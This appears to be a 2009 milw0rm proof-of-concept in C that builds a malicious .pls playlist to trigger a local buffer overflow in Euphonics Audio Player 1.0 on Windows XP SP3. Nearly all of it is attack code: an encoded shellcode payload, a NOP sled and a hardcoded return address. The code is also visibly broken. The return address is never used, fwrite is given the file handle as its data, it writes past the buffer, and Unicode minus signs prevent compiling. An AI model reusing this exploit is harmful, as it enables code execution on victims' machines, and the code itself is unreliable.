1 #include <stdio.h>
2 #include <windows.h>
3 #include <string.h>
4 #define overflow 1324
5 #define NOP 0x90
6 #define pls "Eye.pls"
7
8 int main (int argc,char **argv)
9 {
10 char winsp3[] = "\x7B\x46\x86\x7C";
11 char buffer[overflow];
12 FILE *Player;
13
14 unsigned char shellcode[] =
15 "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xec"
16 "\x96\x7d\xb2\x83\xeb\xfc\xe2\xf4\x10\x7e\x39\xb2\xec\x96\xf6\xf7"
17 "\xd0\x1d\x01\xb7\x94\x97\x92\x39\xa3\x8e\xf6\xed\xcc\x97\x96\xfb"
18 "\x67\xa2\xf6\xb3\x02\xa7\xbd\x2b\x40\x12\xbd\xc6\xeb\x57\xb7\xbf"
19 "\xed\x54\x96\x46\xd7\xc2\x59\xb6\x99\x73\xf6\xed\xc8\x97\x96\xd4"
20 "\x67\x9a\x36\x39\xb3\x8a\x7c\x59\x67\x8a\xf6\xb3\x07\x1f\x21\x96"
21 "\xe8\x55\x4c\x72\x88\x1d\x3d\x82\x69\x56\x05\xbe\x67\xd6\x71\x39"
22 "\x9c\x8a\xd0\x39\x84\x9e\x96\xbb\x67\x16\xcd\xb2\xec\x96\xf6\xda"
23 "\xd0\xc9\x4c\x44\x8c\xc0\xf4\x4a\x6f\x56\x06\xe2\x84\x66\xf7\xb6"
24 "\xb3\xfe\xe5\x4c\x66\x98\x2a\x4d\x0b\xf5\x1c\xde\x8f\xb8\x18\xca"
25 "\x89\x96\x7d\xb2";
26
27 printf("\n******************************************");
28 printf("\n* THIS BUG ORGINAL DISCOVER BY h4ck3r#47 *");
29 printf("\n* THIS BUG C0DED BY SINGLE EYE *");
30 printf("\n* SPECIAL THANKS TO STR0KE *");
31 printf("\n******************************************");
32 memset(buffer,NOP,overflow);
33 memcpy(buffer,shellcode,sizeof(shellcode)−1);
34 buffer[overflow] = 0;
35 Player = fopen(pls,"w+");
36 fwrite(Player,sizeof(unsigned char),sizeof(buffer),Player);
37 fclose(Player);
38 printf("\n DOne Poc !!");
39 return 0;
40 }
41
42 // milw0rm.com [2009−02−04]
Page 1/1
Euphonics Audio Player 1.0 .pls Local Buffer Overflow Exploit xpsp3
Single Eye
02/04/2009